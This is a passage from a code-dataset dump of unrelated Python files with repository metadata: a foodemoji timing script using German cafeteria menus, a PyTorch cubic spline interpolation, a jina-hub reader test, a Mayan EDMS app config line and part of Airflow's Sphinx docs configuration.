100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Erbseneintopf, Bockwurst, Kartoffeln, Brötchen, Salat der Saison, Schokopudding Tagessuppe, Asiatische Gemüseknusperschnitte, Wasabi Currysauce, Reis, Salat der Saison, Gebrannte Grießsuppe Kokosmilch mit Ananas (vegan), Mousse au Chocolat Milch (ML) Schlemmerbuffet je 100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten D: Tagessuppe, Schweinegeschnetzeltes, Pilzrahmsauce, Reis, Salat der Saison Tagessuppe, Knöpflepfanne "Allgäu", Käsesauce, Salat der Saison. Brokkolicremesuppe Sojajoghurt mit Früchten (vegan), Tiramisu Milch (ML) Tagessuppe, paniertes Alaska-Seelachsfilet, Dillmayonnaise, Petersilienkartoffeln, Salat der Saison Tagessuppe, veganes Geschnetzeltes „Züricher Art", Reis, Salat der Saison """ text_short = """Erbsencremesuppe Mousse Tiramisu, Wackelpudding Kirsch (vegan) Milch Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Kohlrabicremesuppe Creme Brulee, Kokosmilch mit Ananas (vegan) Schlemmerbuffet je 100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Erbseneintopf, Bockwurst, Kartoffeln, Brötchen, Salat der Saison, Schokopudding Tagessuppe, Asiatische Gemüseknusperschnitte, Wasabi Currysauce, Reis, Salat der Saison, Gebrannte Grießsuppe Kokosmilch mit Ananas (vegan), Mousse au Chocolat Milch (ML) Schlemmerbuffet je 100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten D: Tagessuppe, Schweinegeschnetzeltes, Pilzrahmsauce, Reis, Salat der Saison Tagessuppe, Knöpflepfanne "Allgäu", Käsesauce, Salat der Saison. Salat der Saison """ text_one_line = "Milch Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten" book = "" def _setup(): global book filename = 'italienische-reise.txt' url = 'https://github.com/GITenberg/Italienische-Reise-Band-1_2404/raw/master/2404-8.txt' if not os.path.isfile(filename): if PY2: import urllib2 furl = urllib2.urlopen(url) book = furl.read().decode('cp1252' ,errors='ignore') furl.close() else: import urllib.request with urllib.request.urlopen(url) as furl: book = furl.read().decode('utf-8' ,errors='ignore') with open(filename, 'wb') as fout: fout.write(book.encode('utf-8')) else: with open(filename, 'rb') as fin: book = fin.read().decode('utf-8') def test_long_text_100(): x = foodemoji.decorate(text) return x[0] == text[0] def test_long_text_linebyline_100(): x = foodemoji.decorate(text, line_by_line=True) return x[0] == text[0] def test_short_text_300(): x = foodemoji.decorate(text_short) return x[0] == text_short[0] def test_short_text_linebyline_300(): x = foodemoji.decorate(text_short, line_by_line=True) return x[0] == text_short[0] def test_one_line_1000(): x = foodemoji.decorate(text_one_line) return x[0] == text_one_line[0] def test_one_line_linebyline_1000(): x = foodemoji.decorate(text_one_line, line_by_line=True) return x[0] == text_one_line[0] def test_book_2(): x = foodemoji.decorate(book) return x[0] == book[0] def test_book_linebyline_2(): x = foodemoji.decorate(book, line_by_line=True) return x[0] == book[0] _setup() if __name__ == '__main__': for fname in sorted(list(globals().keys())): if fname.startswith('test_'): if fname.split('_')[-1].isdigit(): N = int(fname.split('_')[-1]) else: N = 100 print("% 6dx\t\t%s():" % (N, fname)) t = timeit.timeit('speed.%s()' % fname, setup='import speed', number=N) print("{:25.20f}".format(t))

36.952381

780

0.726804

import sys import os import timeit try: import foodemoji except ImportError: include = os.path.relpath(os.path.join(os.path.dirname(__file__), "..")) sys.path.insert(0, include) import foodemoji print("Imported foodemoji from %s" % os.path.abspath(os.path.join(include, "foodemoji"))) PY2 = sys.version_info.major == 2 text = """Erbsencremesuppe Mousse Tiramisu, Wackelpudding Kirsch (vegan) Milch Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Tagessuppe, Fish + Chips, Remouladensauce, Salat der Saison Tagessuppe, 2 Polentaschnitten mit Spinatfüllung, Tomatensauce, Reis, Salat der Saison Karotten-Ingwersuppe Rote Grütze (vegan), Zweierlei Mousse au Chocolat Milch Tagessuppe, Schweinegulasch, Champignonsauce, Salzkartoffeln, Salat der Saison Tagessuppe, 5 Cannelloni mit Ricotta-Spinat-Füllung, Tomatensauce, Reibekäse, Salat der Saison Tomatencremesuppe Milchreis mit Kirschen, Rote Grütze (vegan) Tagessuppe, Feuerwurst, Portion Senf, Pommes frites, Salat der Saison Tagessuppe, 2 Kartoffelknödel, Rahmgemüse, Salat der Saison Kohlrabicremesuppe Creme Brulee, Kokosmilch mit Ananas (vegan) Schlemmerbuffet je 100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Erbseneintopf, Bockwurst, Kartoffeln, Brötchen, Salat der Saison, Schokopudding Tagessuppe, Asiatische Gemüseknusperschnitte, Wasabi Currysauce, Reis, Salat der Saison, Gebrannte Grießsuppe Kokosmilch mit Ananas (vegan), Mousse au Chocolat Milch (ML) Schlemmerbuffet je 100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten D: Tagessuppe, Schweinegeschnetzeltes, Pilzrahmsauce, Reis, Salat der Saison Tagessuppe, Knöpflepfanne "Allgäu", Käsesauce, Salat der Saison. Brokkolicremesuppe Sojajoghurt mit Früchten (vegan), Tiramisu Milch (ML) Tagessuppe, paniertes Alaska-Seelachsfilet, Dillmayonnaise, Petersilienkartoffeln, Salat der Saison Tagessuppe, veganes Geschnetzeltes „Züricher Art", Reis, Salat der Saison """ text_short = """Erbsencremesuppe Mousse Tiramisu, Wackelpudding Kirsch (vegan) Milch Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Kohlrabicremesuppe Creme Brulee, Kokosmilch mit Ananas (vegan) Schlemmerbuffet je 100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Erbseneintopf, Bockwurst, Kartoffeln, Brötchen, Salat der Saison, Schokopudding Tagessuppe, Asiatische Gemüseknusperschnitte, Wasabi Currysauce, Reis, Salat der Saison, Gebrannte Grießsuppe Kokosmilch mit Ananas (vegan), Mousse au Chocolat Milch (ML) Schlemmerbuffet je 100g Reichhaltige Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten D: Tagessuppe, Schweinegeschnetzeltes, Pilzrahmsauce, Reis, Salat der Saison Tagessuppe, Knöpflepfanne "Allgäu", Käsesauce, Salat der Saison. Salat der Saison """ text_one_line = "Milch Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten" book = "" def _setup(): global book filename = 'italienische-reise.txt' url = 'https://github.com/GITenberg/Italienische-Reise-Band-1_2404/raw/master/2404-8.txt' if not os.path.isfile(filename): if PY2: import urllib2 furl = urllib2.urlopen(url) book = furl.read().decode('cp1252' ,errors='ignore') furl.close() else: import urllib.request with urllib.request.urlopen(url) as furl: book = furl.read().decode('utf-8' ,errors='ignore') with open(filename, 'wb') as fout: fout.write(book.encode('utf-8')) else: with open(filename, 'rb') as fin: book = fin.read().decode('utf-8') def test_long_text_100(): x = foodemoji.decorate(text) return x[0] == text[0] def test_long_text_linebyline_100(): x = foodemoji.decorate(text, line_by_line=True) return x[0] == text[0] def test_short_text_300(): x = foodemoji.decorate(text_short) return x[0] == text_short[0] def test_short_text_linebyline_300(): x = foodemoji.decorate(text_short, line_by_line=True) return x[0] == text_short[0] def test_one_line_1000(): x = foodemoji.decorate(text_one_line) return x[0] == text_one_line[0] def test_one_line_linebyline_1000(): x = foodemoji.decorate(text_one_line, line_by_line=True) return x[0] == text_one_line[0] def test_book_2(): x = foodemoji.decorate(book) return x[0] == book[0] def test_book_linebyline_2(): x = foodemoji.decorate(book, line_by_line=True) return x[0] == book[0] _setup() if __name__ == '__main__': for fname in sorted(list(globals().keys())): if fname.startswith('test_'): if fname.split('_')[-1].isdigit(): N = int(fname.split('_')[-1]) else: N = 100 print("% 6dx\t\t%s():" % (N, fname)) t = timeit.timeit('speed.%s()' % fname, setup='import speed', number=N) print("{:25.20f}".format(t))

true

790c8bd261da619e5576efa5d9c7891f5c5b2620

3,856

py

Python

loss/robust_loss_pytorch/robust_loss_pytorch/cubic_spline.py

milesgray/CALAE

a2ab2f7d9ee17cc6c24ff6ac370b0373537079ac

[ "Apache-2.0" ]

522

2019-05-15T23:09:14.000Z

2022-03-19T14:17:22.000Z

robust_loss_pytorch/cubic_spline.py

durandtibo/robust_loss_pytorch

911378b855f567e942336ae609cb8edb52e55228

[ "Apache-2.0" ]

31

2019-06-03T10:55:22.000Z

2022-03-24T21:58:46.000Z

robust_loss_pytorch/cubic_spline.py

durandtibo/robust_loss_pytorch

911378b855f567e942336ae609cb8edb52e55228

[ "Apache-2.0" ]

80

2019-05-29T14:21:49.000Z

2022-01-11T07:52:50.000Z

# coding=utf-8 # Copyright 2019 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Implements 1D cubic Hermite spline interpolation.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import torch def interpolate1d(x, values, tangents): r"""Perform cubic hermite spline interpolation on a 1D spline. The x coordinates of the spline knots are at [0 : 1 : len(values)-1]. Queries outside of the range of the spline are computed using linear extrapolation. See https://en.wikipedia.org/wiki/Cubic_Hermite_spline for details, where "x" corresponds to `x`, "p" corresponds to `values`, and "m" corresponds to `tangents`. Args: x: A tensor of any size of single or double precision floats containing the set of values to be used for interpolation into the spline. values: A vector of single or double precision floats containing the value of each knot of the spline being interpolated into. Must be the same length as `tangents` and the same type as `x`. tangents: A vector of single or double precision floats containing the tangent (derivative) of each knot of the spline being interpolated into. Must be the same length as `values` and the same type as `x`. Returns: The result of interpolating along the spline defined by `values`, and `tangents`, using `x` as the query values. Will be the same length and type as `x`. """ # if x.dtype == 'float64' or torch.as_tensor(x).dtype == torch.float64: # float_dtype = torch.float64 # else: # float_dtype = torch.float32 # x = torch.as_tensor(x, dtype=float_dtype) # values = torch.as_tensor(values, dtype=float_dtype) # tangents = torch.as_tensor(tangents, dtype=float_dtype) assert torch.is_tensor(x) assert torch.is_tensor(values) assert torch.is_tensor(tangents) float_dtype = x.dtype assert values.dtype == float_dtype assert tangents.dtype == float_dtype assert len(values.shape) == 1 assert len(tangents.shape) == 1 assert values.shape[0] == tangents.shape[0] x_lo = torch.floor(torch.clamp(x, torch.as_tensor(0), values.shape[0] - 2)).type(torch.int64) x_hi = x_lo + 1 # Compute the relative distance between each `x` and the knot below it. t = x - x_lo.type(float_dtype) # Compute the cubic hermite expansion of `t`. t_sq = t**2 t_cu = t * t_sq h01 = -2. * t_cu + 3. * t_sq h00 = 1. - h01 h11 = t_cu - t_sq h10 = h11 - t_sq + t # Linearly extrapolate above and below the extents of the spline for all # values. value_before = tangents[0] * t + values[0] value_after = tangents[-1] * (t - 1.) + values[-1] # Cubically interpolate between the knots below and above each query point. neighbor_values_lo = values[x_lo] neighbor_values_hi = values[x_hi] neighbor_tangents_lo = tangents[x_lo] neighbor_tangents_hi = tangents[x_hi] value_mid = ( neighbor_values_lo * h00 + neighbor_values_hi * h01 + neighbor_tangents_lo * h10 + neighbor_tangents_hi * h11) # Return the interpolated or extrapolated values for each query point, # depending on whether or not the query lies within the span of the spline. return torch.where(t < 0., value_before, torch.where(t > 1., value_after, value_mid))

39.346939

79

0.713174

from __future__ import absolute_import from __future__ import division from __future__ import print_function import torch def interpolate1d(x, values, tangents): assert torch.is_tensor(x) assert torch.is_tensor(values) assert torch.is_tensor(tangents) float_dtype = x.dtype assert values.dtype == float_dtype assert tangents.dtype == float_dtype assert len(values.shape) == 1 assert len(tangents.shape) == 1 assert values.shape[0] == tangents.shape[0] x_lo = torch.floor(torch.clamp(x, torch.as_tensor(0), values.shape[0] - 2)).type(torch.int64) x_hi = x_lo + 1 t = x - x_lo.type(float_dtype) t_sq = t**2 t_cu = t * t_sq h01 = -2. * t_cu + 3. * t_sq h00 = 1. - h01 h11 = t_cu - t_sq h10 = h11 - t_sq + t value_before = tangents[0] * t + values[0] value_after = tangents[-1] * (t - 1.) + values[-1] neighbor_values_lo = values[x_lo] neighbor_values_hi = values[x_hi] neighbor_tangents_lo = tangents[x_lo] neighbor_tangents_hi = tangents[x_hi] value_mid = ( neighbor_values_lo * h00 + neighbor_values_hi * h01 + neighbor_tangents_lo * h10 + neighbor_tangents_hi * h11) return torch.where(t < 0., value_before, torch.where(t > 1., value_after, value_mid))

true

790c8c1d71d3b4e18a00157853ed455148a3968d

519

py

Python

crafters/numeric/ArrayStringReader/tests/test_arraystringreader.py

carlosb1/jina-hub

f298d0f136c8627dd720d7a4e3eb9031655f5ccb

[ "Apache-2.0" ]

1

2022-03-01T12:43:17.000Z

crafters/numeric/ArrayStringReader/tests/test_arraystringreader.py

carlosb1/jina-hub

f298d0f136c8627dd720d7a4e3eb9031655f5ccb

[ "Apache-2.0" ]

null

crafters/numeric/ArrayStringReader/tests/test_arraystringreader.py

carlosb1/jina-hub

f298d0f136c8627dd720d7a4e3eb9031655f5ccb

[ "Apache-2.0" ]

null

import numpy as np from .. import ArrayStringReader def test_arraystringreader(): """here is my test code https://docs.pytest.org/en/stable/getting-started.html#create-your-first-test """ size = 8 sample_array = np.random.rand(size).astype('float32') text = ','.join([str(x) for x in sample_array]) reader = ArrayStringReader() crafted_doc = reader.craft(text, 0) assert crafted_doc['blob'].shape[0] == size np.testing.assert_array_equal(crafted_doc['blob'], sample_array)

25.95

81

0.687861

import numpy as np from .. import ArrayStringReader def test_arraystringreader(): size = 8 sample_array = np.random.rand(size).astype('float32') text = ','.join([str(x) for x in sample_array]) reader = ArrayStringReader() crafted_doc = reader.craft(text, 0) assert crafted_doc['blob'].shape[0] == size np.testing.assert_array_equal(crafted_doc['blob'], sample_array)

true

790c8ccc9ff42ab78d01890aefd7ce0b436f416c

109

py

Python

mayan/apps/dependencies/__init__.py

Syunkolee9891/Mayan-EDMS

3759a9503a264a180b74cc8518388f15ca66ac1a

[ "Apache-2.0" ]

1

2021-06-17T18:24:25.000Z

mayan/apps/dependencies/__init__.py

Syunkolee9891/Mayan-EDMS

3759a9503a264a180b74cc8518388f15ca66ac1a

[ "Apache-2.0" ]

7

2020-06-06T00:01:04.000Z

2022-01-13T01:47:17.000Z

mayan/apps/dependencies/__init__.py

Syunkolee9891/Mayan-EDMS

3759a9503a264a180b74cc8518388f15ca66ac1a

[ "Apache-2.0" ]

1

2020-07-29T21:03:27.000Z

from __future__ import unicode_literals default_app_config = 'mayan.apps.dependencies.apps.DependenciesApp'

27.25

67

0.862385

from __future__ import unicode_literals default_app_config = 'mayan.apps.dependencies.apps.DependenciesApp'

true

790c8cd6cde18e829123f7a660cbb5a6be0b5d99

16,078

py

Python

docs/conf.py

vlive1111/airflow

7825e8f59034645ab3247229be83a3aa90baece1

[ "Apache-2.0" ]

null

docs/conf.py

vlive1111/airflow

7825e8f59034645ab3247229be83a3aa90baece1

[ "Apache-2.0" ]

null

docs/conf.py

vlive1111/airflow

7825e8f59034645ab3247229be83a3aa90baece1

[ "Apache-2.0" ]

null

# flake8: noqa # Disable Flake8 because of all the sphinx imports # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # Airflow documentation build configuration file, created by # sphinx-quickstart on Thu Oct 9 20:50:01 2014. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. """Configuration of Airflow Docs""" import os import sys from glob import glob from typing import List import airflow from airflow.configuration import default_config_yaml try: import sphinx_airflow_theme # pylint: disable=unused-import airflow_theme_is_available = True except ImportError: airflow_theme_is_available = False # Hack to allow changing for piece of the code to behave differently while # the docs are being built. The main objective was to alter the # behavior of the utils.apply_default that was hiding function headers os.environ['BUILDING_AIRFLOW_DOCS'] = 'TRUE' # == Sphinx configuration ====================================================== # -- Project information ------------------------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information # General information about the project. project = 'Airflow' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. # version = '1.0.0' version = airflow.__version__ # The full version, including alpha/beta/rc tags. # release = '1.0.0' release = airflow.__version__ # -- General configuration ----------------------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/configuration.html # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'provider_init_hack', 'sphinx.ext.autodoc', 'sphinx.ext.coverage', 'sphinx.ext.viewcode', 'sphinx.ext.graphviz', 'sphinxarg.ext', 'sphinxcontrib.httpdomain', 'sphinxcontrib.jinja', 'sphinx.ext.intersphinx', 'autoapi.extension', 'exampleinclude', 'docroles', 'removemarktransform', 'sphinx_copybutton', 'redirects', 'providers_packages_ref', # First, generate redoc 'sphinxcontrib.redoc', # Second, update redoc script "sphinx_script_update", "sphinxcontrib.spelling", ] # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.append(os.path.join(os.path.dirname(__file__), 'exts')) # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns: List[str] = [ # We only link to selected subpackages. '_api/airflow/index.rst', # We have custom page - operators-and-hooks-ref.rst '_api/airflow/providers/index.rst', # Packages with subpackages "_api/airflow/providers/microsoft/index.rst", "_api/airflow/providers/apache/index.rst", "_api/airflow/providers/cncf/index.rst", # Templates or partials 'autoapi_templates', 'howto/operator/google/_partials', 'howto/operator/microsoft/_partials', ] ROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir)) def _get_rst_filepath_from_path(filepath: str): if os.path.isdir(filepath): result = filepath elif os.path.isfile(filepath) and filepath.endswith('/__init__.py'): result = filepath.rpartition("/")[0] else: result = filepath.rpartition(".")[0] result += "/index.rst" result = f"_api/{os.path.relpath(result, ROOT_DIR)}" return result # Exclude top-level packages # do not exclude these top-level modules from the doc build: _allowed_top_level = ("exceptions.py",) for path in glob(f"{ROOT_DIR}/airflow/*"): name = os.path.basename(path) if os.path.isfile(path) and not path.endswith(_allowed_top_level): exclude_patterns.append(f"_api/airflow/{name.rpartition('.')[0]}") browsable_packages = ["operators", "hooks", "sensors", "providers", "executors", "models", "secrets"] if os.path.isdir(path) and name not in browsable_packages: exclude_patterns.append(f"_api/airflow/{name}") # Add any paths that contain templates here, relative to this directory. templates_path = ['templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, keep warnings as "system message" paragraphs in the built documents. keep_warnings = True # -- Options for HTML output --------------------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'sphinx_rtd_theme' if airflow_theme_is_available: html_theme = 'sphinx_airflow_theme' # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". html_title = "Airflow Documentation" # A shorter title for the navigation bar. Default is the same as html_title. html_short_title = "" # given, this must be the name of an image file (path relative to the # configuration directory) that is the favicon of the docs. Modern browsers # use this as the icon for tabs, windows and bookmarks. It should be a # Windows-style icon file (.ico), which is 16x16 or 32x32 pixels large. html_favicon = "../airflow/www/static/pin_32.png" # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['static'] # A list of JavaScript filename. The entry must be a filename string or a # tuple containing the filename string and the attributes dictionary. The # filename must be relative to the html_static_path, or a full URI with # scheme like http://example.org/script.js. html_js_files = ['jira-links.js'] # Custom sidebar templates, maps document names to template names. if airflow_theme_is_available: html_sidebars = { '**': [ 'version-selector.html', 'searchbox.html', 'globaltoc.html', ] } # If false, no index is generated. html_use_index = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. html_show_copyright = False # A dictionary of values to pass into the template engine’s context for all pages. html_context = { # Google Analytics ID. # For more information look at: # https://github.com/readthedocs/sphinx_rtd_theme/blob/master/sphinx_rtd_theme/layout.html#L222-L232 'theme_analytics_id': 'UA-140539454-1', } if airflow_theme_is_available: html_context = { # Variables used to build a button for editing the source code # # The path is created according to the following template: # # https://{{ github_host|default("github.com") }}/{{ github_user }}/{{ github_repo }}/ # {{ theme_vcs_pageview_mode|default("blob") }}/{{ github_version }}{{ conf_py_path }} # {{ pagename }}{{ suffix }} # # More information: # https://github.com/readthedocs/readthedocs.org/blob/master/readthedocs/doc_builder/templates/doc_builder/conf.py.tmpl#L100-L103 # https://github.com/readthedocs/sphinx_rtd_theme/blob/master/sphinx_rtd_theme/breadcrumbs.html#L45 # https://github.com/apache/airflow-site/blob/91f760c/sphinx_airflow_theme/sphinx_airflow_theme/suggest_change_button.html#L36-L40 # 'theme_vcs_pageview_mode': 'edit', 'conf_py_path': '/docs/', 'github_user': 'apache', 'github_repo': 'airflow', 'github_version': 'master', 'display_github': 'master', 'suffix': '.rst', } # == Extensions configuration ================================================== # -- Options for sphinxcontrib.jinjac ------------------------------------------ # See: https://github.com/tardyp/sphinx-jinja # Jinja context jinja_contexts = {'config_ctx': {"configs": default_config_yaml()}} # -- Options for sphinx.ext.autodoc -------------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/extensions/autodoc.html # This value contains a list of modules to be mocked up. This is useful when some external dependencies # are not met at build time and break the building process. autodoc_mock_imports = [ 'MySQLdb', 'adal', 'analytics', 'azure', 'azure.cosmos', 'azure.datalake', 'azure.kusto', 'azure.mgmt', 'boto3', 'botocore', 'bson', 'cassandra', 'celery', 'cloudant', 'cryptography', 'cx_Oracle', 'datadog', 'distributed', 'docker', 'google', 'google_auth_httplib2', 'googleapiclient', 'grpc', 'hdfs', 'httplib2', 'jaydebeapi', 'jenkins', 'jira', 'kubernetes', 'msrestazure', 'pandas', 'pandas_gbq', 'paramiko', 'pinotdb', 'psycopg2', 'pydruid', 'pyhive', 'pyhive', 'pymongo', 'pymssql', 'pysftp', 'qds_sdk', 'redis', 'simple_salesforce', 'slackclient', 'smbclient', 'snowflake', 'sshtunnel', 'tenacity', 'vertica_python', 'winrm', 'zdesk', ] # The default options for autodoc directives. They are applied to all autodoc directives automatically. autodoc_default_options = {'show-inheritance': True, 'members': True} # -- Options for sphinx.ext.intersphinx ---------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/extensions/intersphinx.html # This config value contains the locations and names of other projects that should # be linked to in this documentation. intersphinx_mapping = { 'boto3': ('https://boto3.amazonaws.com/v1/documentation/api/latest/', None), 'celery': ('https://docs.celeryproject.org/en/stable/', None), 'hdfs': ('https://hdfscli.readthedocs.io/en/latest/', None), 'jinja2': ('https://jinja.palletsprojects.com/en/master/', None), 'mongodb': ('https://api.mongodb.com/python/current/', None), 'pandas': ('https://pandas.pydata.org/pandas-docs/stable/', None), 'python': ('https://docs.python.org/3/', None), 'requests': ('https://requests.readthedocs.io/en/master/', None), 'sqlalchemy': ('https://docs.sqlalchemy.org/en/latest/', None), # google-api 'google-api-core': ('https://googleapis.dev/python/google-api-core/latest', None), 'google-cloud-automl': ('https://googleapis.dev/python/automl/latest', None), 'google-cloud-bigquery': ('https://googleapis.dev/python/bigquery/latest', None), 'google-cloud-bigquery-datatransfer': ('https://googleapis.dev/python/bigquerydatatransfer/latest', None), 'google-cloud-bigquery-storage': ('https://googleapis.dev/python/bigquerystorage/latest', None), 'google-cloud-bigtable': ('https://googleapis.dev/python/bigtable/latest', None), 'google-cloud-container': ('https://googleapis.dev/python/container/latest', None), 'google-cloud-core': ('https://googleapis.dev/python/google-cloud-core/latest', None), 'google-cloud-datacatalog': ('https://googleapis.dev/python/datacatalog/latest', None), 'google-cloud-datastore': ('https://googleapis.dev/python/datastore/latest', None), 'google-cloud-dlp': ('https://googleapis.dev/python/dlp/latest', None), 'google-cloud-kms': ('https://googleapis.dev/python/cloudkms/latest', None), 'google-cloud-language': ('https://googleapis.dev/python/language/latest', None), 'google-cloud-monitoring': ('https://googleapis.dev/python/monitoring/latest', None), 'google-cloud-pubsub': ('https://googleapis.dev/python/pubsub/latest', None), 'google-cloud-redis': ('https://googleapis.dev/python/redis/latest', None), 'google-cloud-spanner': ('https://googleapis.dev/python/spanner/latest', None), 'google-cloud-speech': ('https://googleapis.dev/python/speech/latest', None), 'google-cloud-storage': ('https://googleapis.dev/python/storage/latest', None), 'google-cloud-tasks': ('https://googleapis.dev/python/cloudtasks/latest', None), 'google-cloud-texttospeech': ('https://googleapis.dev/python/texttospeech/latest', None), 'google-cloud-translate': ('https://googleapis.dev/python/translation/latest', None), 'google-cloud-videointelligence': ('https://googleapis.dev/python/videointelligence/latest', None), 'google-cloud-vision': ('https://googleapis.dev/python/vision/latest', None), } # -- Options for sphinx.ext.viewcode ------------------------------------------- # See: https://www.sphinx-doc.org/es/master/usage/extensions/viewcode.html # If this is True, viewcode extension will emit viewcode-follow-imported event to resolve the name of # the module by other extensions. The default is True. viewcode_follow_imported_members = True # -- Options for sphinx-autoapi ------------------------------------------------ # See: https://sphinx-autoapi.readthedocs.io/en/latest/config.html # Paths (relative or absolute) to the source code that you wish to generate # your API documentation from. autoapi_dirs = [ os.path.abspath('../airflow'), ] # A directory that has user-defined templates to override our default templates. autoapi_template_dir = 'autoapi_templates' # A list of patterns to ignore when finding files autoapi_ignore = [ '*/airflow/kubernetes/kubernetes_request_factory/*', '*/_internal*', '*/airflow/**/providers/**/utils/*', '*/node_modules/*', '*/example_dags/*', '*/migrations/*', ] # Keep the AutoAPI generated files on the filesystem after the run. # Useful for debugging. autoapi_keep_files = True # Relative path to output the AutoAPI files into. This can also be used to place the generated documentation # anywhere in your documentation hierarchy. autoapi_root = '_api' # -- Options for ext.exampleinclude -------------------------------------------- exampleinclude_sourceroot = os.path.abspath('..') # -- Options for ext.redirects ------------------------------------------------- redirects_file = 'redirects.txt' # -- Options for sphinxcontrib.redoc ------------------------------------------- # See: https://sphinxcontrib-redoc.readthedocs.io/en/stable/ OPENAPI_FILE = os.path.join(os.path.dirname(__file__), "..", "airflow", "api_connexion", "openapi", "v1.yaml") redoc = [ { 'name': 'Airflow REST API', 'page': 'stable-rest-api-ref', 'spec': OPENAPI_FILE, 'opts': { 'hide-hostname': True, 'no-auto-auth': True, }, }, ] # Options for script updater redoc_script_url = "https://cdn.jsdelivr.net/npm/redoc@2.0.0-rc.30/bundles/redoc.standalone.js"

38.009456

138

0.678505

import os import sys from glob import glob from typing import List import airflow from airflow.configuration import default_config_yaml try: import sphinx_airflow_theme airflow_theme_is_available = True except ImportError: airflow_theme_is_available = False os.environ['BUILDING_AIRFLOW_DOCS'] = 'TRUE' w' # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. # version = '1.0.0' version = airflow.__version__ # The full version, including alpha/beta/rc tags. # release = '1.0.0' release = airflow.__version__ # -- General configuration ----------------------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/configuration.html # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'provider_init_hack', 'sphinx.ext.autodoc', 'sphinx.ext.coverage', 'sphinx.ext.viewcode', 'sphinx.ext.graphviz', 'sphinxarg.ext', 'sphinxcontrib.httpdomain', 'sphinxcontrib.jinja', 'sphinx.ext.intersphinx', 'autoapi.extension', 'exampleinclude', 'docroles', 'removemarktransform', 'sphinx_copybutton', 'redirects', 'providers_packages_ref', # First, generate redoc 'sphinxcontrib.redoc', # Second, update redoc script "sphinx_script_update", "sphinxcontrib.spelling", ] # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.append(os.path.join(os.path.dirname(__file__), 'exts')) # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns: List[str] = [ # We only link to selected subpackages. '_api/airflow/index.rst', # We have custom page - operators-and-hooks-ref.rst '_api/airflow/providers/index.rst', # Packages with subpackages "_api/airflow/providers/microsoft/index.rst", "_api/airflow/providers/apache/index.rst", "_api/airflow/providers/cncf/index.rst", # Templates or partials 'autoapi_templates', 'howto/operator/google/_partials', 